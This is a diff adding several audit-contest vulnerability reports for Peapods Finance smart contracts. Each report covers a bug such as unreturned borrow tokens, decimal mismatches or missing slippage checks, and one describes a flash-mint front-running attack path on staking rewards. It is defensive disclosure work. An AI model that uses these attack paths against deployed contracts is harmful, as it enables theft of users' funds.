+## Impact
+Direct loss of funds without limitations of external conditions
+## Mitigation
+Round up share conversion or perform a 0-value check on burnt shares.
\ No newline at end of file
diff --git a/321.md b/321.md
new file mode 100644
index 0000000..2815fc1
--- /dev/null
+++ b/321.md
@@ -0,0 +1,146 @@
+Acidic Marmalade Robin
+
+Medium
+
+# LeverageManager may not return remaining borrow amount to user in removeLeverage()
+
+### Summary
+
+`LeverageManager.sol` contract does not include the `_podSwapAmtOutMin` value in the `_borrowAmtRemaining` [calculation](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L400), which causes the contract to not return the remaining borrow tokens to user if `_repayAmount - _pairedAmtReceived < _podSwapAmtOutMin`.
+
+### Root Cause
+
+In [LeverageManager.sol:_removeLeveragePostCallback()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L346) if user provided `_podSwapAmtOutMin` then contract will try to get `amountOut = _podSwapAmtOutMin` from `swapV2SingleExactOut` but will not account this value in `_borrowAmtRemaining` calculation:
+
+```solidity
+function _removeLeveragePostCallback(bytes memory _userData)
+ internal
+ returns (uint256 _podAmtRemaining, uint256 _borrowAmtRemaining)
+{
+ IFlashLoanSource.FlashData memory _d = abi.decode(_userData, (IFlashLoanSource.FlashData));
+ (LeverageFlashProps memory _props, bytes memory _additionalInfo) =
+ abi.decode(_d.data, (LeverageFlashProps, bytes));
+ (
+ ...
+ uint256 _podSwapAmtOutMin, //@audit user provided this value
+ ...
+ ) = abi.decode(_additionalInfo, (uint256, uint256, uint256, uint256, uint256, uint256));
+ ...
+ (uint256 _podAmtReceived, uint256 _pairedAmtReceived) = _unstakeAndRemoveLP(
+ _props.positionId, _posProps.pod, _collateralAssetRemoveAmt, _podAmtMin, _pairedAssetAmtMin
+ );
+ _podAmtRemaining = _podAmtReceived;
+ ...
+ // pay back flash loan and send remaining to borrower
+ uint256 _repayAmount = _d.amount + _d.fee;
+ //@audit check if _pairedAmtReceived not enough to repay for flash loan
+ if (_pairedAmtReceived < _repayAmount) {
+ _podAmtRemaining = _acquireBorrowTokenForRepayment(
+ _props,
+ _posProps.pod,
+ _d.token,
+ _repayAmount - _pairedAmtReceived, //@audit _borrowNeeded
+ _podAmtReceived,
+ _podSwapAmtOutMin, //@audit if this value > 0 then amountOut equal this value, not _borrowNeeded
+ _userProvidedDebtAmtMax
+ );
+ }
+ IERC20(_d.token).safeTransfer(IFlashLoanSource(_getFlashSource(_props.positionId)).source(), _repayAmount);
+ //@audit if _podSwapAmtOutMin > _borrowNeeded borrowToken will be left on the contract and will not be returned to user
+ _borrowAmtRemaining = _pairedAmtReceived > _repayAmount ? _pairedAmtReceived - _repayAmount : 0;
+ emit RemoveLeverage(_props.positionId, _props.owner, _collateralAssetRemoveAmt);
+}
+
+function _acquireBorrowTokenForRepayment(
+ LeverageFlashProps memory _props,
+ address _pod,
+ address _borrowToken,
+ uint256 _borrowNeeded,
+ uint256 _podAmtReceived,
+ uint256 _podSwapAmtOutMin,
+ uint256 _userProvidedDebtAmtMax
+) internal returns (uint256 _podAmtRemaining) {
+ _podAmtRemaining = _podAmtReceived;
+ //@audit _repayAmount - _pairedAmtReceived
+ uint256 _borrowAmtNeededToSwap = _borrowNeeded;
+ ...
+ if (_borrowAmtNeededToSwap > 0) {
+ if (_isPodSelfLending(_props.positionId)) {
+ ...
+ } else {
+ _podAmtRemaining = _swapPodForBorrowToken(
+ _pod, _borrowToken, _podAmtReceived, _borrowAmtNeededToSwap, _podSwapAmtOutMin
+ );
+ }
+ }
+}
+
+function _swapPodForBorrowToken(
+ address _pod,
+ address _targetToken,
+ uint256 _podAmt,
+ uint256 _targetNeededAmt,
+ uint256 _podSwapAmtOutMin
+) internal returns (uint256 _podRemainingAmt) {
+ ...
+ //@audit if user provided _podSwapAmtOutMin then try to get this amount from swap
+ _dexAdapter.swapV2SingleExactOut(
+ _pod, _targetToken, _podAmt, _podSwapAmtOutMin == 0 ? _targetNeededAmt : _podSwapAmtOutMin, address(this)
+ );
+ _podRemainingAmt = _podAmt - (_balBefore - IERC20(_pod).balanceOf(address(this)));
+}
+```
+
+### Internal Pre-conditions
+
+1. `_pairedAmtReceived < _repayAmount`
+
+### External Pre-conditions
+
+1. User provided `_podSwapAmtOutMin` > `_borrowNeeded` (`_repayAmount - _pairedAmtReceived`)
+2. Swap was successful with `amountOut = _podSwapAmtOutMin`
+
+### Attack Path
+
+*No response*
+
+### Impact
+
+The protocol fails to return correct remaining borrow amount to user if he provided correct `_podSwapAmtOutMin` and this value is more than `_borrowNeeded`.
+
+### PoC
+
+**Take for example:**
+`_repayAmount = 110`
+`_pairedAmtReceived = 100`
+`_podSwapAmtOutMin = 20`
+`borrowToken.balanceOf(LeverageManager) = _pairedAmtReceived = 100`
+
+**Contract wants to swap pod tokens for borrowToken to repay for flashloan:**
+`_borrowAmtNeededToSwap = _repayAmount - _pairedAmtReceived = 110 - 100 = 10`
+`amountOut = _podSwapAmtOutMin == 0 ? _borrowAmtNeededToSwap : _podSwapAmtOutMin = 20 == 0 -> false -> 20`
+*Swap was successful*
+`borrowToken.balanceOf(LeverageManager) = _pairedAmtReceived + amountOut = 100 + 20 = 120`
+
+**Return**
+1. Repay to flash source:
+`borrowToken.balanceOf(LeverageManager) = borrowToken.balanceOf(LeverageManager) - _repayAmount = 120 - 110 = 10`
+2. Calculate `_borrowAmtRemaining` to return to user:
+`_borrowAmtRemaining = _pairedAmtReceived > _repayAmount ? _pairedAmtReceived - _repayAmount : 0 = 100 > 110 -> false -> 0`
+
+Now `borrowToken.balanceOf(LeverageManager) = 10` and user did not get his tokens back.
+
+### Mitigation
+
+Change `_borrowAmtRemaining` calculation:
+```solidity
+if (_pairedAmtReceived < _repayAmount) {
+ if (_podSwapAmtOutMin > _repayAmount - _pairedAmtReceived) {
+ _borrowAmtRemaining = _pairedAmtReceived + _podSwapAmtOutMin - _repayAmount;
+ } else {
+ _borrowAmtRemaining = 0;
+ }
+} else {
+ _borrowAmtRemaining = _pairedAmtReceived - _repayAmount
+}
+```
\ No newline at end of file
diff --git a/322.md b/322.md
new file mode 100644
index 0000000..6e54708
--- /dev/null
+++ b/322.md
@@ -0,0 +1,154 @@
+Perfect Macaroon Dachshund
+
+High
+
+# Malicious actor can front-run distributing reward
+
+### Root Cause
+
+Users can deposit their PodLp token into StakingPoolToken contract to get a portion from reward which will be deposited into TokenRewards contract but users can front-run deposit reward
+
+when users stake their PodLp tokens into StakingPool Token , share will be minted for them
+and _update function will be called by _mint function which in turn calls TokenReward::setShare
+and finally _processFeesIfApplicable will be called to update _rewardsPerShare
+
+```solidity
+
+ function stake(address _user, uint256 _amount) external override {
+ require(stakingToken != address(0), "I");
+ if (stakeUserRestriction != address(0)) {
+ require(_user == stakeUserRestriction, "U");
+ }
+ @>>> _mint(_user, _amount);
+ IERC20(stakingToken).safeTransferFrom(_msgSender(), address(this), _amount);
+ emit Stake(_msgSender(), _user, _amount);
+ }
+
+
+ function _update(address _from, address _to, uint256 _value) internal override {
+ super._update(_from, _to, _value);
+ if (_from != address(0)) {
+ TokenRewards(POOL_REWARDS).setShares(_from, _value, true);
+ }
+ if (_to != address(0) && _to != address(0xdead)) {
+ TokenRewards(POOL_REWARDS).setShares(_to, _value, false);
+ }
+ }
+
+ function _setShares(address _wallet, uint256 _amount, bool _sharesRemoving) internal {
+ @>>> _processFeesIfApplicable();
+ if (_sharesRemoving) {
+ _removeShares(_wallet, _amount);
+ emit RemoveShares(_wallet, _amount);
+ } else {
+ _addShares(_wallet, _amount);
+ emit AddShares(_wallet, _amount);
+ }
+ }
+
+ function _depositRewards(address _token, uint256 _amountTotal) internal {
+ if (_amountTotal == 0) {
+ return;
+ }
+ if (!_depositedRewardsToken[_token]) {
+ _depositedRewardsToken[_token] = true;
+ _allRewardsTokens.push(_token);
+ }
+ if (totalShares == 0) {
+ require(_token == rewardsToken, "R");
+ _burnRewards(_amountTotal);
+ return;
+ }
+
+ uint256 _depositAmount = _amountTotal;
+ if (_token == rewardsToken) {
+ (, uint256 _yieldBurnFee) = _getYieldFees();
+ if (_yieldBurnFee > 0) {
+ uint256 _burnAmount = (_amountTotal * _yieldBurnFee) / PROTOCOL_FEE_ROUTER.protocolFees().DEN();
+ if (_burnAmount > 0) {
+ _burnRewards(_burnAmount);
+ _depositAmount -= _burnAmount;
+ }
+ }
+ }
+ rewardsDeposited[_token] += _depositAmount;
+
+ @>>> _rewardsPerShare[_token] += (PRECISION * _depositAmount) / totalShares;
+ emit DepositRewards(_msgSender(), _token, _depositAmount);
+ }
+
+
+```
+rewardPerShare should be updated because users' profit will be computed base on that
+
+```solidity
+ function getUnpaid(address _token, address _wallet) public view returns (uint256) {
+ if (shares[_wallet] == 0) {
+ return 0;
+ }
+ @>>> uint256 earnedRewards = _cumulativeRewards(_token, shares[_wallet], false);
+ uint256 rewardsExcluded = rewards[_token][_wallet].excluded;
+ if (earnedRewards <= rewardsExcluded) {
+ return 0;
+ }
+ return earnedRewards - rewardsExcluded;
+ }
+
+ function _cumulativeRewards(address _token, uint256 _share, bool _roundUp) internal view returns (uint256 _r) {
+ @>>> _r = (_share * _rewardsPerShare[_token]) / PRECISION;
+ if (_roundUp && (_share * _rewardsPerShare[_token]) % PRECISION > 0) {
+ _r = _r + 1;
+ }
+ }
+
+```
+
+### Code Snippet
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L425
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L103
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L232
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/StakingPoolToken.sol#L67
+
+### External Condition
+Attacker see a transaction in mempool which related to update _rewardsPerShare
+
+### Attack Path
+Malicious actor can prevent _rewardsPerShare to be updated as we can see when _shortCircuitRewards is 1 _processPreSwapFeesAndSwap wouldn't update _rewardsPerShare
+```solidity
+ function _processPreSwapFeesAndSwap() internal {
+ @>>>if (_shortCircuitRewards == 1) {
+ return;
+ }
+ ...
+ }
+```
+_shortCircuitRewards by default is zero and mailicous actor can update that with `DecenterailizedIndex::flashMint`
+
+```solidity
+ function flashMint(address _recipient, uint256 _amount, bytes calldata _data) external override lock {
+ @>>> _shortCircuitRewards = 1;
+ uint256 _fee = _amount / 1000;
+ _mint(_recipient, _amount);
+ IFlashLoanRecipient(_recipient).callback(_data);
+ // Make sure the calling user pays fee of 0.1% more than they flash minted to recipient
+ _burn(_recipient, _amount);
+ // only adjust _totalSupply by fee amt since we didn't add to supply at mint during flash mint
+ _totalSupply -= _fee == 0 ? 1 : _fee;
+ _burn(_msgSender(), _fee == 0 ? 1 : _fee);
+ _shortCircuitRewards = 0;
+ emit FlashMint(_msgSender(), _recipient, _amount);
+ }
+```
+its mean attacker can create a contract which have callback function and when attacker gets a flashMint _shortCircuitRewards become 1 and after received pod token and then the attacker can stake his/her Podlp token[we assume the attacker has Podlp token] into StakingPoolToken with old _rewardPerShare, amount of flash mint can be a low amount and attacker can pay back that and now when original `DecenterializedIndex::_processPreSwapFeesAndSwap` will be executed and _rewardPerShare will be increased and then the attacker can claim his/her reward
+
+### Impact
+
+Loss of funds for stakers
+
+### Mitigation
+
+no answer
\ No newline at end of file
diff --git a/323.md b/323.md
new file mode 100644
index 0000000..2f9ac9a
--- /dev/null
+++ b/323.md
@@ -0,0 +1,87 @@
+Perfect Macaroon Dachshund
+
+Medium
+
+# Reward token can have a differ decimal from PAIRED_LP_TOKEN
+
+### Root Cause
+
+Deposited PAIRED_LP_TOKEN tokens which hold by TokenReward will be swapped to token which has been specified as reward token
+into TokenRewardToken
+
+```solidity
+
+ function _feeSwap(uint256 _amount) internal {
+ _approve(address(this), address(DEX_HANDLER), _amount);
+ address _rewards = IStakingPoolToken(lpStakingPool).POOL_REWARDS();
+ uint256 _pairedLpBalBefore = IERC20(PAIRED_LP_TOKEN).balanceOf(_rewards);
+ DEX_HANDLER.swapV2Single(address(this), PAIRED_LP_TOKEN, _amount, 0, _rewards);
+
+ if (PAIRED_LP_TOKEN == lpRewardsToken) {
+ uint256 _newPairedLpTkns = IERC20(PAIRED_LP_TOKEN).balanceOf(_rewards) - _pairedLpBalBefore;
+ if (_newPairedLpTkns > 0) {
+ ITokenRewards(_rewards).depositRewardsNoTransfer(PAIRED_LP_TOKEN, _newPairedLpTkns);
+ }
+ } else if (IERC20(PAIRED_LP_TOKEN).balanceOf(_rewards) > 0) {
+ @>>> ITokenRewards(_rewards).depositFromPairedLpToken(0);
+ }
+ }
+
+ function depositFromPairedLpToken(uint256 _amountTknDepositing) public override {
+
+ }
+ uint160 _rewardsSqrtPriceX96 = V3_TWAP_UTILS.sqrtPriceX96FromPoolAndInterval(_pool);
+ uint256 _rewardsPriceX96 = V3_TWAP_UTILS.priceX96FromSqrtPriceX96(_rewardsSqrtPriceX96);
+ uint256 _amountOut = _token0 == PAIRED_LP_TOKEN
+ ? (_rewardsPriceX96 * _amountTkn) / FixedPoint96.Q96
+ : (_amountTkn * FixedPoint96.Q96) / _rewardsPriceX96;
+ @>>> _swapForRewards(_amountTkn, _amountOut, _adminAmt);
+ }
+```
+and finally _amountOut will be computed base on _amountTkn to prevent sandwich attack but when
+reward token has differ decimal from PAIR_LP_TOKEN the value of _amountOut computes wrongly and this causes swap will be failed
+
+```solidity
+ try DEX_ADAPTER.swapV3Single(
+ PAIRED_LP_TOKEN,
+ rewardsToken,
+ REWARDS_POOL_FEE,
+ _amountIn,
+ @>>> _amountIn == REWARDS_SWAP_OVERRIDE_MIN ? 0 : (_amountOut * (1000 - REWARDS_SWAP_SLIPPAGE)) / 1000,
+ address(this)
+ ) {
+ _rewardsSwapAmountInOverride = 0;
+ if (_adminAmt > 0) {
+ _processAdminFee(_adminAmt);
+ }
+ _depositRewards(rewardsToken, IERC20(rewardsToken).balanceOf(address(this)) - _balBefore);
+ } catch {
+ @>>> _rewardsSwapAmountInOverride =
+ _amountIn / 2 < REWARDS_SWAP_OVERRIDE_MIN ? REWARDS_SWAP_OVERRIDE_MIN : _amountIn / 2;
+ IERC20(PAIRED_LP_TOKEN).safeDecreaseAllowance(address(DEX_ADAPTER), _amountIn);
+ emit RewardSwapError(_amountIn);
+ }
+
+```
+
+### Internal Condition
+
+Reward Token = USDC[6 decimal]
+
+### Code Snippet
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L174
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L305
+
+### PoC
+
+reward token can have a differ decimal from PAIRED_LP_TOKEN for example if reward token is USDC with 6 decimals and PAIRED_LP_TOKEN with 18 decimals amountOut will be computed in scale of 18 decimals and this causes swapV3Single will be failed because amountOut is used for slippage control and value of that always is bigger than real amount
+
+### Impact
+
+break core functionalities
+
+### Mitigation
+
+consider to normalize _amountOut
\ No newline at end of file
diff --git a/324.md b/324.md
new file mode 100644
index 0000000..250b82f
--- /dev/null
+++ b/324.md
@@ -0,0 +1,101 @@
+Perfect Macaroon Dachshund
+
+Medium
+
+# users get pOHM less than expected because of lack of slippage control
+
+### Root Cause
+
+users can provided their desire paired lp token and specify a index token to provide liquidity
+through `IndexUtil::addLPAndStake` function but users can't control received amount
+
+```solidity
+function addLPAndStake(
+ IDecentralizedIndex _indexFund,
+ uint256 _amountIdxTokens,
+ address _pairedLpTokenProvided,
+ uint256 _amtPairedLpTokenProvided,
+ uint256 _amountPairedLpTokenMin,
+ uint256 _slippage,
+ uint256 _deadline
+ ) external payable override returns (uint256 _amountOut) {
+ ...
+ @>>> if (_pairedLpTokenProvided != _pairedLpToken) {
+ _zap(_pairedLpTokenProvided, _pairedLpToken, _amtPairedLpTokenProvided, _amountPairedLpTokenMin);
+ }
+
+ ...
+ }
+```
+when _pairedLpTokenProvided isn't index token's _pairedLpToken then amount of _pairedLpTokenProvided provided by user will be swapped for _pairedLpToken and also user can
+specifies _amountPairedLpTokenMin and slippage to protect against sandwich attack but when
+index token's pairedLpToken is pOHM users can't control received amount
+because of this line in `Zapper::_zap` function
+
+```solidity
+ function _zap(address _in, address _out, uint256 _amountIn, uint256 _amountOutMin)
+ internal
+ returns (uint256 _amountOut)
+ {
+ ...
+ if (!_isOutPOHM) {
+ return _amountOut;
+ }
+ uint256 _pOHMBefore = IERC20(pOHM).balanceOf(address(this));
+ IERC20(OHM).safeIncreaseAllowance(pOHM, _amountOut);
+ @>>> IDecentralizedIndex(pOHM).bond(OHM, _amountOut, 0);
+ return IERC20(pOHM).balanceOf(address(this)) - _pOHMBefore;
+ }
+```
+
+**External Condition**
+
+index token'pairedLpToken = pOHM
+
+### PoC
+
+Let's assume user provides WETH as _pairedLpTokenProvided and then his/her WETH will be swapped
+for OHM and then his/her OHM will be wrapped for pOHM but when the user's transaction want to execute a transaction from another user that want to debond pOHM will be exectued its mean
+totalAsset and totalSupply will be decreased
+```solidity
+ function debond(uint256 _amount, address[] memory, uint8[] memory) external override lock noSwapOrFee {
+ uint256 _amountAfterFee = _isLastOut(_amount) || REWARDS_WHITELIST.isWhitelistedFromDebondFee(_msgSender())
+ ? _amount
+ : (_amount * (DEN - _fees.debond)) / DEN;
+ uint256 _percSharesX96 = (_amountAfterFee * FixedPoint96.Q96) / _totalSupply;
+ super._transfer(_msgSender(), address(this), _amount);
+ @>>> _totalSupply -= _amountAfterFee;
+ _burn(address(this), _amountAfterFee);
+ _processBurnFee(_amount - _amountAfterFee);
+ uint256 _il = indexTokens.length;
+ for (uint256 _i; _i < _il; _i++) {
+ uint256 _debondAmount = (_totalAssets[indexTokens[_i].token] * _percSharesX96) / FixedPoint96.Q96;
+ if (_debondAmount > 0) {
+ @>>> _totalAssets[indexTokens[_i].token] -= _debondAmount;
+ IERC20(indexTokens[_i].token).safeTransfer(_msgSender(), _debondAmount);
+ }
+ }
+ // an arbitrage path of buy pTKN > debond > sell TKN does not trigger rewards
+ // so let's trigger processing here at debond to keep things moving along
+ _processPreSwapFeesAndSwap();
+ emit Debond(_msgSender(), _amount);
+ }
+```
+its mean when the user's transaction will be executed receive amount is less than expected
+
+### Code Snippet
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/IndexUtils.sol#L72
+
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/Zapper.sol#L78
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/Zapper.sol#L140
+
+### Impact
+
+loss of funds for users
+
+### Mitigation
+
+consider to specify min amount in bond function in zapper contract when pairedLpToken is pOHM
diff --git a/325.md b/325.md
new file mode 100644
index 0000000..ca60d07
--- /dev/null
+++ b/325.md
@@ -0,0 +1,82 @@
+Perfect Macaroon Dachshund
+
+Medium
+
+# Decimals wouldn't handle correctly in _swapV3Single
+
+### Root Cause
+
+users can provide liquidity through `IndexUtils::addLPAndStake` and they can specify their desiredpairedLpToken and index token to add liquidity as well but if _pairedLpTokenProvided is differ from indexToken's pairedLpToken _pairedLpTokenProvided will be swapped for indexToken's pairedLpToken but _pairedLpTokenProvided can have differ decimal from indexToken's pairedLpToken but the codebase
+assumes they have same decimal wrongly
+
+```solidity
+
+function addLPAndStake(
+ IDecentralizedIndex _indexFund,
+ uint256 _amountIdxTokens,
+ address _pairedLpTokenProvided,
+ uint256 _amtPairedLpTokenProvided,
+ uint256 _amountPairedLpTokenMin,
+ uint256 _slippage,
+ uint256 _deadline
+ ) external payable override returns (uint256 _amountOut) {
+ ...
+ @>>> if (_pairedLpTokenProvided != _pairedLpToken) {
+ _zap(_pairedLpTokenProvided, _pairedLpToken, _amtPairedLpTokenProvided, _amountPairedLpTokenMin);
+ }
+
+ ...
+ }
+```
+
+### Internal Condition
+
+_pairedLpTokenProvided = WETH 18 decimal
+indexToken's pairedLpToken = USDC 6 decimal
+
+### Code Snippet
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/Zapper.sol#L168
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/Zapper.sol#L131
+
+### PoC
+
+```solidity
+ function _swapV3Single(address _in, uint24 _fee, address _out, uint256 _amountIn, uint256 _amountOutMin)
+ internal
+ returns (uint256)
+ {
+ ...
+ if (_amountOutMin == 0) {
+ address _token0 = _in < _out ? _in : _out;
+ uint256 _poolPriceX96 =
+ V3_TWAP_UTILS.priceX96FromSqrtPriceX96(V3_TWAP_UTILS.sqrtPriceX96FromPoolAndInterval(_v3Pool));
+ @>>> _amountOutMin = _in == _token0
+ ? (_poolPriceX96 * _amountIn) / FixedPoint96.Q96
+ : (_amountIn * FixedPoint96.Q96) / _poolPriceX96;
+ }
+
+ uint256 _outBefore = IERC20(_out).balanceOf(address(this));
+ uint256 _finalSlip = _slippage[_v3Pool] > 0 ? _slippage[_v3Pool] : _defaultSlippage;
+ IERC20(_in).safeIncreaseAllowance(address(DEX_ADAPTER), _amountIn);
+ DEX_ADAPTER.swapV3Single(
+ _in, _out, _fee, _amountIn, (_amountOutMin * (1000 - _finalSlip)) / 1000, address(this)
+ );
+ return IERC20(_out).balanceOf(address(this)) - _outBefore;
+ }
+```
+
+as we can see in above code snippet when _amountOutMin is zero that would compute based on _amountIn
+but after computing result wouldn't normalize to tokenOut's decimal .hence , _amountOutMin would be greater than real amount which can cause swap will be reverted
+
+### Impact
+
+break core functionalities
+
+### Mitigation
+
+consider to normalize _amountOutMin
+
+
+
diff --git a/326.md b/326.md
new file mode 100644
index 0000000..51d835b
--- /dev/null
+++ b/326.md
@@ -0,0 +1,56 @@
+Perfect Macaroon Dachshund
+
+Medium
+
+# AutoCompoundingPodLp::previewDeposit is not comply with ERC4626
+
+### Root Cause
+
+>previewDeposit MUST return as close to and no more than the exact amount of Vault shares that would be minted in a deposit call in the same transaction. I.e. deposit should return the same or more shares as previewDeposit if called in the same transaction.
+
+As we can see in below code snippet totalAssets wouldn't refer to updated value and this causes
+totalAssets is lower than actual value
+
+```solidity
+ function previewDeposit(uint256 _assets) external view override returns (uint256 _shares) {
+ @>>> return _convertToShares(_assets, Math.Rounding.Floor);
+ }
+
+ function _convertToShares(uint256 _assets, Math.Rounding _roundDirection) internal view returns (uint256 _shares) {
+ @>>> return Math.mulDiv(_assets, FACTOR, _cbr(), _roundDirection);
+ }
+
+ function _cbr() internal view returns (uint256) {
+ uint256 _supply = totalSupply();
+ @>>> return _supply == 0 ? FACTOR : (FACTOR * totalAssets()) / _supply;
+ }
+```
+
+when user's depositing transaction will be executed totalAssets will
+be increased accordingly and this causes user gets less share in compare to the value which he/she
+gets from previewDeposit and that is not based on ERC 4626 standard
+
+```solidity
+
+ function deposit(uint256 _assets, address _receiver) external override returns (uint256 _shares) {
+ @>>> _processRewardsToPodLp(0, block.timestamp);
+ _shares = _convertToShares(_assets, Math.Rounding.Floor);
+ _deposit(_assets, _shares, _receiver);
+ }
+```
+
+
+### Code snippet
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L121
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L105
+
+### Impact
+
+users get less share in compare to the value which they get from `AutoCompoundingPodLp::previewDeposit`
+
+### Mitigation
+
+Consider to simulate processing rewards
+
diff --git a/327.md b/327.md
new file mode 100644
index 0000000..66cd51b
--- /dev/null
+++ b/327.md
@@ -0,0 +1,106 @@
+Perfect Macaroon Dachshund
+
+Medium
+
+# FraxlendPair'owner get fee less than real amount
+
+### Root Cause
+
+A portion of interest will be minted as protocol fee and value of that will be estimated base on feeToProtocolRate which has been set by owner
+
+```solidity
+ function _calculateInterest(CurrentRateInfo memory _currentRateInfo)
+ internal
+ view
+ returns (InterestCalculationResults memory _results)
+ {
+ // Short circuit if interest already calculated this block OR if interest is paused
+ ...
+ // Accrue interest (if any) and fees iff no overflow
+ if (
+ _results.interestEarned > 0
+ && _results.interestEarned + _results.totalBorrow.amount <= type(uint128).max
+ && _results.interestEarned + _totalAssetsAvailable <= type(uint128).max
+ ) {
+ // Increment totalBorrow and totalAsset by interestEarned
+ _results.totalBorrow.amount += _results.interestEarned.toUint128();
+ _results.totalAsset.amount += _results.interestEarned.toUint128();
+ if (_currentRateInfo.feeToProtocolRate > 0) {
+ _results.feesAmount = (_results.interestEarned * _currentRateInfo.feeToProtocolRate) / FEE_PRECISION;
+ #>>> _results.feesShare = (_results.feesAmount * _results.totalAsset.shares)
+ / (_results.totalAsset.totalAmount(address(0)) - _results.feesAmount);
+ // Effects: Give new shares to this contract, effectively diluting lenders an amount equal to the fees
+ // We can safely cast because _feesShare < _feesAmount < interestEarned which is always less than uint128
+ _results.totalAsset.shares += _results.feesShare.toUint128();
+ }
+ }
+ }
+ }
+```
+```solidity
+
+ function _addInterest()
+ internal
+ returns (
+ bool _isInterestUpdated,
+ uint256 _interestEarned,
+ uint256 _feesAmount,
+ uint256 _feesShare,
+ CurrentRateInfo memory _currentRateInfo
+ )
+ {
+
+
+ // Effects: write to state
+ currentRateInfo = _currentRateInfo;
+ totalAsset = _results.totalAsset;
+ totalBorrow = _results.totalBorrow;
+ @>>> if (_feesShare > 0) _mint(address(this), _feesShare);
+ }
+ }
+
+```
+and then owner can withdraw fees through `FraxlendPair::withdrawFees`
+
+```solidity
+ function withdrawFees(uint128 _shares, address _recipient) external onlyOwner returns (uint256 _amountToTransfer) {
+ if (_recipient == address(0)) revert InvalidReceiver();
+
+ // Grab some data from state to save gas
+ VaultAccount memory _totalAsset = totalAsset;
+
+ // Take all available if 0 value passed
+ if (_shares == 0) _shares = balanceOf(address(this)).toUint128();
+
+ // We must calculate this before we subtract from _totalAsset or invoke _burn
+ _amountToTransfer = _totalAsset.toAmount(_shares, true);
+
+ _approve(address(this), msg.sender, _shares);
+ _redeem(_totalAsset, _amountToTransfer.toUint128(), _shares, _recipient, address(this), false);
+ uint256 _collateralAmount = userCollateralBalance[address(this)];
+ _removeCollateral(_collateralAmount, _recipient, address(this));
+ emit WithdrawFees(_shares, _recipient, _amountToTransfer, _collateralAmount);
+ }
+
+```
+
+### Code Snippet
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPair.sol#L456
+
+### Internal Condition
+
+feeToProtocolRate > 0
+
+### PoC
+
+As we can see in above code snippet when owner wants to withdraw his/her fees totalAsset wouldn't update and this causes owner get fee less than real amount
+
+### Impact
+
+loss of funds for owner
+
+### Mitigation
+
+consider to call _addInterest in begin of `FraxlendPair::withdrawFees`
+
diff --git a/328.md b/328.md
new file mode 100644
index 0000000..cdca113
--- /dev/null
+++ b/328.md
@@ -0,0 +1,52 @@
+Perfect Macaroon Dachshund
+
+Medium
+
+# AddInterest will be reverted when LinearInterestRate is chosen
+
+### Root Cause
+
+users can be eligible for deploy FraxlendPair and they can deploy selfLendingPods with two type of interest rate[LinearInterestRate, VariableInterestRate]
+but when they opt LinearInterestRate `FraxlendPairCore::addInterest` will be reverted
+
+```solidity
+
+function _calculateInterest(CurrentRateInfo memory _currentRateInfo)
+ internal
+ view
+ returns (InterestCalculationResults memory _results)
+ {
+ ...
+ @>>> (_results.newRate, _results.newFullUtilizationRate) = IRateCalculatorV2(rateContract).getNewRate(
+ _deltaTime, _utilizationRate, _currentRateInfo.fullUtilizationRate
+ );
+
+```
+### Code Snippet
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L405
+
+### Internal Condition
+
+LinearInterestRate is chosen
+
+### PoC
+
+As we can see `LinearInterestRate::getNewRate` just return a uint256 as a returning value and but `FraxlendPairCore::_calculateInterest` expect
+newRate and newFullUtilizationRate and this causes `FraxlendPairCore::addInterest` will be reverted
+
+```solidity
+ @>>> function getNewRate(bytes calldata _data, bytes calldata _initData) external pure returns (uint64 _newRatePerSec) {
+ requireValidInitData(_initData);
+ ...
+ }
+
+```
+
+### Impact
+
+break core functions
+
+### Mitigation
+
+Consider to implement same structure for LinearInterestRate and VariableInterestRate for getNewRate function
\ No newline at end of file
diff --git a/329.md b/329.md
new file mode 100644
index 0000000..17aac5a
--- /dev/null
+++ b/329.md
@@ -0,0 +1,40 @@
+Perfect Macaroon Dachshund
+
+Medium
+
+# StaticOracle has been hardcoded here but Mode and Berachain doesn't have this contract
+
+### Root Cause
+
+[Static Oracle](https://etherscan.io/address/0xb210ce856631eeeb767efa666ec7c1c57738d438) has been used in `DualOracleChainlinkUniV3::getPrices`
+and as we know the code will be deployed in different networks like Ethereum, Arbitrum One, Base, Mode, Berachain based on Readme but the oracle' address
+has been hardcoded and Mode Network doesn't have this contract and this causes this contract be unuseable in Mode network
+
+```solidity
+
+ function getPrices() external view returns (bool _isBadData, uint256 _priceLow, uint256 _priceHigh) {
+ address[] memory _pools = new address[](1);
+ _pools[0] = UNI_V3_PAIR_ADDRESS;
+ @>>> uint256 _price1 = IStaticOracle(0xB210CE856631EeEB767eFa666EC7C1C57738d438).quoteSpecificPoolsWithTimePeriod(
+ ORACLE_PRECISION, BASE_TOKEN, QUOTE_TOKEN, _pools, TWAP_DURATION
+ );
+ uint256 _price2;
+ (_isBadData, _price2) = _getChainlinkPrice();
+
+ // If bad data return price1 for both, else set high to higher price and low to lower price
+ _priceLow = _isBadData || _price1 < _price2 ? _price1 : _price2;
+ _priceHigh = _isBadData || _price1 > _price2 ? _price1 : _price2;
+ }
+```
+
+### Code Snippet
+
